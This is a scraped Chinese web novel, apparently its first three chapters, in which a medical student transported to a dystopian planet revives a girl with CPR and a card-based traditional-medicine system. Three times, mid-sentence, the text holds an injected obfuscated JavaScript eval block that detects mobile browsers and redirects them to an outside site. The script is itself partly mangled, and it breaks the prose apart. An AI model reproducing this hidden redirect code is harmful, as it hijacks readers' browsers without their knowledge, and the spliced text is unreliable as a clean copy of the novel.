《她靠中医大姥夺权》 1. 第 1 章 “我还是觉得，人造子宫对女性当然是大好事，女性不用生产，就可以和男性公平竞争了。” “是啊，也不用考虑生育损伤的问题，算是解决了异性恋婚姻的一个大麻烦。” “性别平等就是这样一步一步来的，不能因噎废食。” “阿灼，你也太悲观了点。” ……悲观吗？ 熙熙攘攘的声音在耳边穿梭，几乎有一瞬间，陆灼觉得自己不知道。 但她知道，自己正在做梦，梦见的还是白天她与同班同学辩论的场景。 于是她反而冷静了下来。 毕竟，清醒梦的时候就算努力想要醒来，身体也会像被牢牢束缚在了床上一样，一动都不能动。 她只能尽量放空自己。 任那些纷纷扰扰的话语像无形的大网笼罩过来，任她的耳朵下意识开始嗡鸣。 嗡鸣声开始变大，首先是种放大的耳鸣声，可到了后来，却变成了一种机械的运作声。 有点像她放在床头的充电器的声音。 她能听到真实世界的声音了？ 太好了，那说明她要彻底醒过来了。 陆灼稍微用了点力，而后猛的睁开了眼睛—— 下一刻，她就被死死捂住了嘴巴。 她只感觉到了一只粗糙的有力的大手，而后，就看见了一张放大的女人的脸。 很普通的中年女性的脸。 很像是楼下的宿管阿姨，唯一不一样的是，她可以看见，面前女人的一只眼睛里、正运转着机械般的光芒。 是她从来没有看见过的义眼款式。 怎么回事？发生了什么？ 这里，是一场新的梦境吗？ 可惜，这个问题并没来得及被找到答案，因为几乎是下一秒，一个震耳欲聋的男声就从头顶传了下来—— “人造子宫技术早已成熟，女人的生殖干细胞多到根本放不下，你以为你为什么还活在这个世上？ “如果你再不说出那位的秘密，你、包括你藏着的那些女人，早晚都被老子扒出来一个一个地杀掉。” 陆灼的眼睛动了动，试图在一片浑浊的黑暗里辨别出声音的来源： 在吵完人造子宫之后就进入了一个以人造子宫为开头的梦，逻辑上听起来很常见。 可温热的触觉太过真实，这让她又有些不确定这到底是不是一个梦。 此时，那唇上的手掌一见她动，立刻按得更紧了，一阵窒息感传来，陆灼心底的违和感愈发明显。 她来不及再想，因为此时，头顶又响起了一个温和却针锋相对的女声：“十七年了，你们能找到早就找到了，可到现在，不还是只能捏着我一个人吗？” 男人冷笑了一声，声音阴恻恻的：“你别忘了，你们只有一个S级，是不可能反叛成功的。 “如果老子反悔，直接把你们全部交出去，你看天堂星上的人、会不会让老子进入地球。” 女人明显顿了顿，也冷哼了一声：“那你大可以试试看。不过是一群被地球放逐的底层男人，还活在以前的美梦里呢。” 男人没再说话，头上只传来一阵愈发远去的脚步声，而后是把门狠狠甩上的声音。 人走了，陆灼感觉嘴唇上的手掌稍微松了松，终于有更多空气渡了过来，陆灼的脑子清醒了一点，便看见中年女人冷眼盯着她： “你是谁？你从哪里来？” 陆灼摇了摇头，下意识放轻了声音： “我不知道。” 陆灼接着反问： “那你又是谁？这里又是哪里？” 能说话，身体能动，与其说是清醒梦，此时，陆灼更愿意相信，自己来到了一个新的世界： 在这个世界，男人当道，女性被驱逐。 似乎还出现了什么新的等级。 可任她想破了脑袋，也没在脑子里想起什么“另一段人生的记忆”。 所以，这里到底是真实的，还是一场不着边际的妄想？ 中年女人也没回答她，只手上猛的一用力，陆灼便被整个人扯了起来，几缕昏暗的光线趁势照了进来，露出了纷杂的身影。 这一下，陆灼终于看清，自己正身处于一个狭窄的地下室里—— 不同于她印象里的地下室，这里的房屋虽然低矮，但并不潮湿，反倒到处干燥异常，甚至绽开了丝丝缕缕的裂痕。 而在如此狭窄的地下室里，除了刚刚的中年女人外，竟然还有四个！ 她们神色各异，年龄不一，样貌也不同，却都躲在光影交接处，往这里探头探脑地看着。 谁也没有先说话。 还是个年轻女人主动开了口：“那你总该知道，自己是怎么突然来到我们这里的？” 陆灼又摇了摇头，示意自己不知道： “我一觉醒来就在这里了，也没有任何关于这里的记忆。 “而且，如你们所见，这里是个密闭空间，我没办法在你们的眼皮子底下潜伏进来——我不是间谍。” 中年女人依旧是那副冷漠至极的表情，看了眼年轻女人，语气却柔和了些： “我刚刚检测过了，她的身上没有通讯设备，也没有佩戴外骨骼的痕迹，刚刚也没和那男的通风报信，暂时没有威胁。” 年轻女人皱了皱眉，但又小心地觑了一眼中年女人的神色，声音放低了些： “不过，她为什么……是个女人？” 陆灼可能不明白这句话的意思，但是在场的五个人都应该明白。 因为那件事，天堂星杀光了大部分女人，也不惜耗费无数物资，通缉了她们这群逃跑的女人整整十七年，直到确信她们一个都没有在地球存活。 在这个时候，为什么会还有女人存在？还不知道为什么，莫名其妙出现在了这里？ 此时，一个看起来有些水肿的女人开了口，她的声音并不大，听起来却尖锐刺耳： “大姐，不如把她直接杀了吧。” “不行，杀了尸体处理起来又是新的麻烦，谁也不知道她有没有同伙。” 开口的是更边上的一个女人，她又矮又瘦，缩在水肿女人的后面，说起话来瓮声瓮气的，看向中年女人的眼睛也又细又长， “老大，虽然她说她不是间谍，但还是排除不了伥鬼的可能性，还是把她交出去吧。 “正好也可以借此恶心一下那个男人：很可能天堂星宁愿派一个［男也］最瞧不起的女人来潜伏，也不愿意重用［男也］。” 中年女人没立刻回话，于是话题重新陷入了僵局。 而处于话题中心的陆灼却在观察着那矮瘦女人的后面—— 那里依旧只有一个发顶，她刚刚就看到了。可前面的其她四个人都已经轮流发表了自己的意见，那个发顶却依旧一动不动，一直没有说话。 以及……上面那个男人说的S级、又是什么东西呢？ 她现在什么都不知道，面对其她人焦灼的情绪，反倒有着别样的心安。 毕竟她什么都不了解，也什么都做不了。 就在这时，年轻女人突然低低提醒了一句：“听。” 是上头传来的。 仔细听去，是一阵类似于水龙头被打开的声音，而后是水流哗啦啦涌了出来的声音。 在场的女人们顿时面露欣喜，年轻女人反应最快，立刻走到了地下室的角落，捧出了一个巨大的盆一样的盛具。 陆灼看不清楚年轻女人的动作，只能听见她似乎打开了什么，那蓬勃的水声旋即响彻了整个地下室。 片刻后，地下室的水声停止，年轻女人轻轻敲了敲天花板，陆灼听见上面又一次传来了水龙头的旋转声，水声便彻底停止了。 再然后，年轻女人便把水盆端了过来，最先递给陆灼面前的中年女人。 等水盆真递了过来，陆灼才看清那里面的液体—— 那根本不是什么水，而是一个带着根本说不清楚什么颜色的色彩性质的奇怪液体，泛着甜滋滋的气味。 明明应该很令人愉悦，却意外地让人充满了呕吐欲。 中年女人喝了几口，而后停下动作，对年轻女人道：“多给筱竹喝点，S级需要的能量太多，她的精神力也还不稳定。” 年轻女人却突然一转，看向了陆灼： “……小姑娘，你要不要也来点营养液？” 陆灼没感觉饥饿，就算饥饿，她想，她也不愿意品尝那奇怪的东西。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449031|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她摇了摇头。 然后，那水盆便兜兜转转，绕开矮瘦女人和水肿女人，往再后面的发顶去了。 这一下，陆灼终于看清了发顶的真实模样—— 个头不高，看起来勉强只有初中生的个子，皮肤皱皱巴巴，甚至可以称得上面黄肌瘦。 可那双眼睛却亮得吓人，此刻没有了遮挡，便开始毫不遮掩地打量起了陆灼。 而后，她终于开了口，声音很沙哑，像年久失修的吹风机一样： “你的脸又白又嫩，是从天堂星来的吗？” 天堂星，天堂星，陆灼已经听了很多遍这个词。 但现在被这个初中生一问，却还是忍不住愣了愣。 她当然不算白，既不用化妆品，也很少研究护肤品，所以皮肤也只是属于这个年纪的健康状态—— 对于这个世界的二十二岁来说算不算该有的，她却有点说不准。 陆灼没撒谎：“我不是天堂星来的，我是地球来的。但我也不确定，是不是你们这个时间线上的地球。” 其她人的神情顿时各有颜色起来，而初中生却很高兴的样子，慢慢答道：“那你一定很有价值。” 她像在重复：“肯定比我有价值。” 陆灼没听懂，年轻女人却迎上去，搂住初中生：“好孩子，你是我们的女儿，你当然有价值。” 初中生没接话，只越过年轻女人的肩膀，目光飘忽不定的： “反正只要是女人，都是要死的。” “是伥鬼，还是未亡人，又有什么关系呢。” 没人继续这个话题，而后还是水肿女人一边示意着初中生赶紧喝营养液，一边看向中年女人： “最起码，我们得先把这个女人的事情告诉二姐吧？” “不知道那个男人什么时候回来，还是等到明天［男也］出门工作吧。”中年女人确定大家都喝够了足够的营养液，而后走上前来，目光上下打量了一圈陆灼，“你自己把衣服脱下来。” 陆灼不明白她要干什么，但还是慢慢照做。 来这里前正是冬天，她身上还穿着棉毛衫和棉毛裤，外面裹着一件毛绒绒的睡衣，此时被中年女人拿在手里的正是睡衣。 她似乎辨别了一下睡衣的材质，而后又打量了几眼上面的文字，忽而手上一发力，把睡衣撕成了两段。 陆灼还没反应过来，中年女人已经走上前来，一段用来捆住了陆灼的双手手腕，另一段牢牢固定住了她的双脚脚腕。 而后她被扯到了地下室的正中央，其余的女人们把她牢牢围了起来，看样子是要这样监视着她。 “筱竹，今晚你一个人在床上睡。”中年女人很明显是这群人的领袖，说起话来也是说一不二，“你是S级，早晚是要离开这里的，趁着还有时间，养好自己的身体最重要。” “我不想离开你们。”初中生扁着嘴，“大妈，不要赶我走。” 中年女人没说话，其她的女人们也都没有说话，光线一点点暗下去，似乎是夜晚来临了。 陆灼没再听见上头有什么新动静传来，男人也许是一晚上没有回来。 她竟然在这样的环境里睡着了。 也许是因为，自己心里也存在着些许侥幸，也许第二天醒来，就会重新回到宿舍的床上。 可惜没有。 唤醒她的是矮瘦女人惊慌失措的声音：“老大，筱竹……筱竹没有呼吸了！” 四下是窸窸窣窣的声音，灯光重新亮起，陆灼看见，那初中生紧闭双眼，正一声不吭地缩在床旁的角落里。 水肿女人立刻跳了起来： “怎么回事！她怎么会突然这样？ “是你，肯定是你使了什么手段！我就说你该死！” 她毒蛇一样的目光盯紧了陆灼，疾步上前，攥住了陆灼捆绑起来的手腕，竟然直接把她提溜了起来！ 陆灼早就过了早上六点起床还能神采奕奕去早读的日子，贸然被吵醒，她困得厉害，连眼睛都没有完全睁开来，张嘴就下意识道： “帮我请个假……昨晚做了太长的梦，我等下去急诊开个诊断证明……” 她话刚说完，记忆瞬间回笼，陆灼下意识打了个寒颤，眼睛终于全睁开了。 2. 第 2 章 下一刻，中年女人走了上来，将水肿女人的手腕握住，果断而短促地解释道： “不关她的事，昨天我也没有在这个女人的身上找到任何东西。 “我也去看了，筱竹的身上没有挣扎的痕迹——所以，没有证据证明这件事和她有关。” 另一边，年轻女人已经蹲在了初中生的身边，仔细抚摸着她的脸，声音很沉： “难道是自/杀？ “也是，就算是S级，如今在天堂星说不定也早已饱和，不一定就可以进入学院学习——按照［男也］们的意思，很可能成为高阶的生殖干细胞提供者罢了。 “筱竹可能是因为……” 一直默不作声的矮瘦女人突然开口，打断了年轻女人的话： “行了，现在说这些也没意义了。 “筱竹的伤势很重，我们也没有治疗师资源……唯一的办法就是求助那个男人。 “但是我们一直以来能和［男也］合作的仰仗就是S级的筱竹，要是贸然让［男也］知道筱竹受了这么重的伤，很可能就被直接丢掉了—— “毕竟，在［男也］们的眼睛里，筱竹只是个可以利用的S级生殖干细胞提供者，不能浪费珍贵的C级奴隶去救。” S级、C级，果然是等级。 “不管怎么样，我们都不可能看着筱竹死在我们面前。” 水肿女人恨恨地松开了手，转身便要向上， “二姐这些年一个人和那个男人周旋，我们也不能一直躲在她身后，实在不行，就直接刀了那个男的……” “不行。” 中年女人检查好陆灼身上的捆绑，立刻接话， “你别忘记了，所有人身上都安装了生物芯片，就算我们的芯片版本太低无法精确定位——很难说在调查的时候不会把天堂星的人引下来。” 竟然还有生物芯片？ 这样看来，这里的生产力水平应该高了不少，那怎么会…… 陆灼的心思百转千回着，她虽然听不明白这些人的对话，但如今的状况，她只能仔细分辨着她们的对话，尽力吸取着她能得到的所有信息。 起码她能知道，如今中学生自/杀，为了救她，她们很可能要冒着暴露的风险去外面…… 陆灼站起来，故作镇定地抬眼，语气也尽量平稳： “我是个医学生，我可以帮忙看一看。” 实话说，她心里也没底。自/杀方式千百种，她不确定自己就能迅速判断出来病因。如果是毒物之类，目前也不可能有洗胃的工具。更别提……她还没看到病人，很可能也不是自/杀。 但事已至此，很明显，如果她什么都不做，这群人贸然出去，等着她们的大概率就是一个“死”字。 再说了，她虽然只是个没念多少书的中医学本科生，但好歹也是默写过“大医精诚”、穿过白大褂的人，她没办法看着有人在她面前出事，却连看一眼的行为都没有。 下一刻，就见其余四个女人互相张望了几眼，似乎达成了什么共识，一起围拢了过来。 而后，她们分列两侧，齐齐伸手将陆灼的手臂牢牢攥住，径直便要把她往初中生那里带过去。 陆灼心头一跳，努力平复着面上的神色，手臂当即就要往回缩： “不用拉我，我自己过去。” 她虽然在学校也有锻炼，但似乎与这些人还是有些差距，贸然一挣脱，竟然也没有成功。 陆灼也并不着急，主动往前多走了几步，直接来到了初中生的近前，而后半蹲下了身子—— 她看清了初中生的整张脸。 面色苍白，唇色极淡，陆灼下意识伸手去探她的鼻息，果然是几不可闻。 身后人的脚步声已经来到了陆灼的身后，陆灼并未停止动作，再将手放置在初中生的胸口上，也几乎感受不到任何的呼吸起伏。 难道是心脏骤停？！ 陆灼当即把初中生平躺，用手指去触摸她正前脖颈旁边的地方——那里是颈动脉搏动的位置。 而后，就是一边仔细感知，一边计数：“1001，1002，1003，1004，1005，1006，1007，1008，1009，1010……” 没有！一点颈动脉搏动的征象都没有！ 陆灼立刻就要扯开初中生胸前的衣服，被旁边的矮瘦女人先一步拉住： “你要干什么？” “她心脏骤停，我要进行心肺复苏。你们附近有没有AED？有的话也赶紧拿给我！” “心肺复苏？AED？”中年女人也不由自主皱着眉头望过来，“那些不是古地球的东西吗？” 古地球……？ 陆灼的头脑刹那空白，但身子已经随着肌肉记忆一起开始按压。 女人们在旁边似乎正在交流着什么，但陆灼都听不到，只在进行第五轮人工呼吸的时候，终于在心底冒出了个念头： 马上就要进行复苏效果检查了，如果她还没有醒过来，那该怎么办？ 她当然为自己的死亡担心，但更担心的是，如果因为她的一时热血导致初中生错过了最佳抢救时机，那该怎么办？ 她来不及想出答案，正准备进行复苏检验，耳畔却突然响起一个清脆嘹亮的声音： 【滴！检测到宿主陆灼！正在绑定“女中医卡牌系统”，请勿关机……】 【绑定成功！马上发放新手礼包：抽卡机会一次！】 【请问宿主是否要马上使用？】 宿主？系统？ 一阵狂喜下意识从陆灼的心底汹涌而上，陆灼下意识就在心里回道：【马上使用！】 几乎是陆灼话音刚落，只听耳畔一阵短粗的“滋啦”声响起，下一刻，便是抽卡成功的提醒： 【恭喜宿主！获得卡牌“义妁”。】 女医义妁？ 西汉时期的著名女医，被称为“巾帼医家第一人”，尤其擅长急症疗伤，对草药也颇有研究。 可惜在中医药院校的《各家学说》课程里少有女医的表述，她对此也知之甚少。 可到底是义妁，又有系统的帮助，说不定能有办法！ 几乎是与此同时，系统继续道： 【滴！检测到伤者，是否需要启动“义妁”卡牌？】 * “你看你看！她停下来了！我就说她不可能管用，你们还拦着我不让我过去！” 另一边，水肿女人急不可耐地要往前冲，又被中年女人以相似的姿势固定住： “我在书里看到过，这孩子做的的确是心肺复苏的操作，那是古地球时常用的急救手段，你不要去打扰她。” “那她为什么不按了？” 水肿女人愤愤着，突然卡了一下，语气一下子就变得古怪起来， “她是不是吃不消了？动作我应该都会了，我去接替她……” 说罢，水肿女人便要往陆灼身边走走，却又被年轻女人一把拉住： “等一等，她好像是想到办法了。” 实话说，自从陆灼主动亮出自己医学生的身份后，她们便都是半信半疑的态度。 如果真是间谍，绕这个大一个圈子，难道就是为了取得她们的信任？ 但如果不是间谍…… 这个想法更是不太可能，于是她们选择先让陆灼试一试，并且在此期间好好观察一下她。 但奇怪的是，刚刚陆灼做了这么多事情，眼底还有几分不自信。但是不知道为什么，就这停下来的功夫，她突然又看起来很有把握的样子。 是有人在帮助她了吗？ 是谁？地球？还是天堂星？ 难道现在已经研发出了什么新型通讯器，可以在不被她检查出任何问题的情况下，就能让陆灼和地球、甚至天堂星联系吗？ 她们想不通，但也知道情况奇怪。 矮瘦女人试探着开口：“筱竹怎么样了？” 陆灼没回答，只猛然伸手往初中生面上的人中穴和足中凹陷的涌泉穴点去，而后便是一系列她还没背下来的腧穴—— 自从使用了“义妁”的卡牌，初中生全身的经络走向都被一条又一条如同金光一样的细线勾勒了出来； 与此同时，无数需要着重强调的穴位被更加浓重的光晕环绕，指引着陆灼用力按揉了下去。 情况并没有像奇迹一般迅速好转，陆灼却并不气馁，回头指挥着其余的女人们： “我刚刚的动作都看到了吧？ “手臂打直，按压胸骨中下1/3处——她是小孩儿，□□没怎么发育，更没有下垂，直接对准□□连线中点也可以。 “30次按压，2次人工呼吸，不能停！” 水肿女人瞬间挣脱桎梏，跪倒在了初中生的身旁，陆灼趁机喘气休息，手上揉按的动作却不停歇—— 拜托了，无论要她付出什么代价，都请救回这一条人命吧。 如果她真是自/杀， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449032|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并且会因此恨她…… 陆灼还没想完，就听耳边清脆的声音又一次响起： 【恭喜宿主！救活伤者，成功第一次使用卡牌！】 【恭喜宿主，试用成功“气血失调”技能，成功点亮该技能！】 【恭喜宿主，成功获得新的一次抽卡机会！】 “……三妈。”初中生慢慢睁开了眼睛，正好看上正在对她压额抬颌（人工呼吸必备工作）的水肿女人，很轻地喊了一声。 在旁边准备接替的矮瘦女人一下子就撇了嘴，重重拍了一下初中生的脸颊，恶狠狠道：“你个死丫头，谁让你……谁让你……” 她话未说完，眼眶却比话语先红，眼泪也大颗大颗掉了下来，终于忍不住伏在初中生的胸前：“我知道你心里难受，是我们不好，压你压得太紧了……” 这副场面对陆灼来说太煽情，她一下子瘫坐在地上，抹了下额头的汗，慢慢往后退了几步。 她想，经过这次，也许这些人可以多信任她一点，起码，能给她弄点吃的—— 过了一晚上，又做了这么耗体力的心肺复苏，她实在是有些太累了。 却没想到，下一刻，中年女人却偏头望向了她。 陆灼下意识脊背一僵，果然见中年女人俯身捡起了旁边的睡衣带子，走近几步，将她重新捆了起来。 陆灼在心底叹了口气，余光瞥见那盆她昨天毫无兴趣的营养液，忍不住又叹了口气。 而后便见中年女人走过去，端起剩下的营养液，朝初中生的方向挥了挥： “筱竹，是这家伙救了你，所以，我先把营养液给她喝一点。” 而后，她转向陆灼，将营养液递了过来： “喝点吧，不然，你可能会死的。” 她没解开陆灼的束缚，直接将盆递到了陆灼的唇边，终于看见陆灼没有犹豫，俯身毫不客气地喝了一大口—— 果然意料之中，非常难喝，非常呛喉咙，也非常噎。 但是几乎是一瞬间，身体里消失的能量瞬间恢复了过来，陆灼差点觉得自己有了点“晕碳”的感觉。 其余四人重新围到了初中生的身边，间隙间，陆灼似乎听见，初中生在解释自己并没有自/杀的意图，昨晚只是在好好睡觉。 也许只是普通的猝死？ 陆灼不确定，也暂时没精力去想—— 她正在研究自己的卡牌系统。 系统界面极其简洁，右边是“任务栏”，陆灼按了一下，里面只显示了“新手任务（已完成）”，其它还没有显示—— 应该是还没有下发，或者是她还没有遇上。 而右下角出现了“卡牌字样”，陆灼意念按了一下，就见画面变转，出现了一张孤零零的卡牌。 上面是斗大的两个字“义妁”。 再下面，就是“技能一：气血失调”；右边有一个“使用”的按钮，此时是亮着的。 也许指的是可以治疗气血失调？ 陆灼暗暗想着，试探着又在心里想着： 【抽取新的卡牌？】 机械音再次响起： 【恭喜宿主，获得卡牌“邢氏”。】 女医邢氏？ 南宋时期的女医邢氏，尤以诊脉为擅长，探测、诊断对她来说可是拿手好戏！ 陆灼认真收好，后知后觉地想起来—— 她虽然没玩过卡牌游戏，但听说卡牌有R卡、SR卡、SSR卡之类的分别，不知道这个卡牌系统有没有？ 陆灼尝试着动念和卡牌系统沟通，只可惜无论她如何询问，将“Hi，系统”、“系统同学”、“小统小统”等都试了一遍，这个卡牌系统都毫无反应。 也许这就是个无法交互的系统罢了。 陆灼这样想着，只好将界面上上下下打量了一遍，还到处戳了戳，总算在戳到卡牌的某一个地方时，弹出了一个对话框—— 是单调的“升级”二字。 只可惜，是灰色的，看来是无法用了。 夜已深，周围的人也都似乎已经进入了梦乡。 于是陆灼也关掉系统，正想闭上眼睛靠着墙好好睡一觉，耳边却有脚步声传了过来。 她下意识睁眼抬头，却是初中生来到了近前。 初中生蹲下身子，从怀里掏出一个小瓶子： “这是好一点的营养液，数量不多，妈妈们都给了我——它的味道比你今天的要好喝一点，你要不要尝一点？” 3. 第 3 章 “……谢谢你。”陆灼没有推拒她的好意，她到底还是救了初中生，如果什么报答都不要，很可能就会让这孩子良心不安。 倒不如承了她这个情—— 实话说，她也想尝尝这个营养液的味道。 低头喝了一口，隐约间似乎尝到了一丝甜滋滋的味道，陆灼抬起头，却见初中生已经坐到了她的旁边，那双可以说得上干净澄澈的眼睛依旧直勾勾看着她，开口道： “我叫穆筱竹，你叫什么名字？” “我叫陆灼。” 两个人比比划划交换了名字，就听穆筱竹继续道： “你不要害怕，妈妈们不会真的伤害你，只不过，这里是贫瘠星，人人都得有一些防护意识才好。” 贫瘠星，地球，天堂星。 陆灼暗暗记住这些名词，继续用那副初来乍到难掩迷茫的表情回望着穆筱竹： “我对这里什么了解都没有，你真好，还愿意和我解释。” “没关系，我也很久没有见到陌生人了。 “这里是贫瘠星，此处都是流放的C级公民，是‘旧时代的弃民’，只能在这里生产营养液和机器人，小队长——也就是头顶那个男人，是被安排在这里管理的。 “地球的人答应［男也］，只要［男也］干得好，就可以进入学院。” “公民……这里是只有男性才能成为公民吗？” 陆灼问完，就见穆筱竹快速点了点头，于是便下意识吞下了下一个问题。 她想知道，这里如何区分性/别，但是她担心会掀起她们的伤疤，于是还是住了口。 陆灼想了想，换了一个问题：“那地球和天堂星是负责干什么的呢？还有你们说的C级和S级又是什么东西？” “地球主要在建设学院，筛选合格的精神力者，送往天堂星进一步训练进行探索。” 穆筱竹很耐心，她的声音依旧沙哑，却听上去并不是因为炎症或其它， “C级只能在这里劳动，而B级、A级和S级则可以通过筛选进入学院。” 陆灼点了点头，继续问： “你刚刚妁这里可以建造机器人？那你们的科技已经进展到了什么程度？” 穆筱竹声音一顿，面上浮现了一些黯淡： “我从小就在地底长大，并不了解这些。” 她叹了口气，再看向陆灼的时候，神色多了些小心翼翼： “所以姐姐，你可以给我看看你的治疗球吗？” ……治疗球？ 难道和她的系统有关系？ 穆筱竹的语气不是试探，而是笃定，陆灼后背发凉，后知后觉地反应过来—— 刚刚穆筱竹说那么多话，很可能都只是试探而已。 几乎是陆灼心念一转，穆筱竹的脸上已经浮现出了歉意： “对不起，姐姐，是我唐突了，你不愿意说也没关系。” 陆灼不知道该怎么回答这个问题，她当然想说没有，但万一和那个系统有关，她到时被发现就会再次引起怀疑。 于是她露出了点困惑，指了指自己：“我吗？” 而后，又是些不好意思：“我有那样的东西吗？你能看出来？那你能教教我怎么使用吗？” 穆筱竹盯着陆灼看了一会儿，歉意又染上了羞涩： “我从小在这里长大，我也没有亲眼见过……” 这应该是暂时可以混过去了。 陆灼悄无声息地松了口气，穆筱竹却又贴近了些，目光中透着显而易见的恳切： “妈妈们把营养液都给了我，她们的身体却一天比一天垮了下去——我求求你，用你的本事再救救她们，好不好？” 陆灼下意识皱眉，穆筱竹却已经伸手攥住了她： “医者仁心，你不会见死不救的，对不对？” “我的水平有限，所学也只是皮毛……” 况且，从刚刚救穆筱竹的过程中，她已经发现，当下的医疗水平和她那个时代有很大不同，她再贸然施救，万一被发现了什么…… 那些人到底还没有到生死攸关的程度，就算暂时不采取措施，大抵也没什么关系。 陆灼这样想着，穆筱竹却已经红了眼镜，黑暗中，她看不清楚穆筱竹的神情，只听见她呜呜咽咽的声音，以及越来越小的声音： “一点点……也可以的。 “……算了，是我太没用，我不仅不拒绝她们的照顾，还强行要求别人来付出、以减轻我的愧疚，是我不好，我不应该强迫你。 “你睡觉吧，明天我会和妈妈们说，想办法让你去更好的地方的。” 更好的地方？ 陆灼知道她很可能是故意这么说的，在绝境之下，凭空出现的陆灼大概率是最后的希望，而她们为了拉拢她，故意如此叙说。 但与此同时，陆灼也知道，在内心深处，她也隐隐期待这番话是真的—— 哪怕她们现在困于逼仄之地，也有办法去另一番天地的希望。 穆筱竹说睡果然就睡，话刚说完，便直接躺到了陆灼的身边，肩膀轻轻挨过来，呼吸很快就平缓下去了。 而陆灼却没能这么快合上眼，她盯着影影绰绰的天花板，在寂静之中，忽而又开了口—— 她说：“但我会尽力的。” 不知道是真的被说动，还是被这种不可抑制的恻隐所俘获。 第二天，陆灼苏醒，也没能忘记这种感觉。 楼上又有拧动水龙头的声音，紧接着，又是熟悉的哗啦啦的水声滚落了下来。 水盆又一次被接满，中年女人面向穆筱竹，眼睛也再看向陆灼： “你们都来喝一点吧。” 陆灼趁机盯向中年女人，眼前立刻显示出了系统面板，她选中“义妁”卡牌，点击“使用”按钮。 下一刻，她便看见，有一阵只有她能看得到的光芒极速飞向了中年女人。 中年女人察觉到她的视线，不动声色地握紧边沿： “怎么了？” 陆灼错开目光，低头喝了一大口，含糊应了声：“谢谢。” 味道依旧难以下咽，但入体便是游走于全身的松快感，陆灼再抬眼，看向系统面板上已然变灰的“使用”键，下意识又眨了下眼睛—— 还是灰的。 而后，她转眸看向其她三个人，指了指面前的盆，道： “你们也来喝吧。” 与此同时，陆灼只觉得眼前有亮光一闪，“使用”按钮再次亮了起来。 陆灼调整着自己的视角，让视野里能够包括三个人，而后按下了“使用”按钮。 不行。 没有光芒出现。 下一刻，水肿女人将身侧的矮瘦女人往前拉了拉，拉到了盆的旁边，道： “你都要瘦成皮包骨了，和筱竹一起喝一点。” 这下，陆灼的视野里便突兀地出现了矮瘦女人一个人的脸庞，她连续点击了三次，果然，在光芒一股脑地奔向矮瘦女人之后，按钮又一次灰了下去。 很明显，技能只能一次对一个人使用，并且也有次数的限制。 只是不知道，这限制会维持多长的时间？ 陆灼正想着，几人推推搡搡着都围坐了过来，矮瘦女人也按着中年女人的肩膀让她喝： “你也喝一点，不要这么节省。 “说真的，我感觉我光是喝了一点，全身的疲劳似乎都消失干净了。” “我……”中年女人似乎要随口推脱些什么，但话刚出口，她又突然反应过来一样，接了句， “……我也是。” 一旁低着头的穆筱竹忽而一动，侧头往陆灼的方向看了一眼。 陆灼却暂时没空想这些，因为她正在尝试使用“邢氏”卡牌探索营养液的成分—— 既然邢氏擅长诊断疾病，那也许也可以用来检测物品。 这个世界显然以她的能力无法轻易改变，她不相信这个突然出现的系统、真的只能用来治疗。 几乎是她心念一动，一行文字便在眼前浮现了出来。 【恭喜宿主，试用成功“察色按脉”技能，成功点亮该技能！】 陆灼心下一喜，目光一凝，入目便是一行： “物品名：营养液。” 再往下： “成分：待解锁。” “生产日期：待解锁。” “有效日期：待解锁。” “产地：贫瘠星。” ……？ 陆灼不由自主地抽动了下眉毛，而后终于从自己的思绪里抽身，察觉到了身边莫名的安静。 她刚想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449033|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头，就听见那系统音又响了起来： 【恭喜宿主，多次使用，成功升级，解锁新的按钮——】 【“冷却期”。】 陆灼再次抬眼，目光对向中年女人，而后将卡牌选中“义妁”，果然多了个“冷却期”的提示。 而提示中，赫然写着“今日可用次数已经用尽。（3/3）” 陆灼轻轻松了口气，目光转瞬有神起来，一无所知一般环视了众人一圈： “怎么了？” 年轻女人最先开口：“是你动了手脚？” 陆灼看向她，熟练地按了三下“使用”，而后露出了个温和的笑来： “你说的、是这样的感觉吗？ “昨天晚上，穆筱竹请求我也帮助你们，可惜我才疏学浅，只能略尽绵薄之力。” 周围是五双牢牢盯着她的眼睛，有人似乎想说什么，但又立刻被另外的人拦住了。 陆灼一双一双看过去，将“气血失调”的技能全部用到灰色，这才看向水肿女人，调出了“邢氏”卡牌： “我并不是谦虚，像你这样的情况，最好还是要去找专科医生看一看，我能帮助你的实在有限。” 她照着卡牌显示的信息，将水肿女人大致的病情都叙说了一遍，果然看见水肿女人抽动着脸上的肌肉、缓缓点了点头。 “以我们现在的能力，最多能活下去，至于找医生……”矮瘦女人叹了口气，目光迟疑着看了中年女人一眼，还是说下去了， “不过，我们能有办法，让你活得更久一点。” 要来了。 陆灼笑得天真：“你是在说营养液的事情吗？你放心好了，我真的已经喝饱了。” “我们可以让你离开这里，去一个更安全的地方。” 接话的是中年女人。 